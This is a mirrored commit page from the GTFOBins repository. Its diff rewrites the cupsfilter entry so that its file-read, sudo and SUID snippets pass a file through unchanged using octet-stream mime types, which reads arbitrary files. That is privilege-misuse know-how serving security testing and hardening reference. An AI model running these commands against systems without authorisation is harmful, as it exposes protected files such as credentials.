mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Make cupsfilter more general
This commit is contained in:
parent
46bbaaf6d6
commit
47db2fa431
@ -1,21 +1,15 @@
|
||||
---
|
||||
description: |
|
||||
cupsfilter - convert a file to another format using cups filters (deprecated).
|
||||
By default, it converts the file into a PDF ( default output mime: application/pdf ).
|
||||
Available options:
|
||||
-i "mime/type" # input mime/type
|
||||
-m "mime/type" # output mime/type
|
||||
functions:
|
||||
file-read:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
cupsfilter $LFILE
|
||||
cupsfilter -i application/octet-stream -m application/octet-stream $LFILE
|
||||
sudo:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
sudo cupsfilter $LFILE
|
||||
sudo cupsfilter -i application/octet-stream -m application/octet-stream $LFILE
|
||||
suid:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
./cupsfilter $LFILE
|
||||
./cupsfilter -i application/octet-stream -m application/octet-stream $LFILE
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user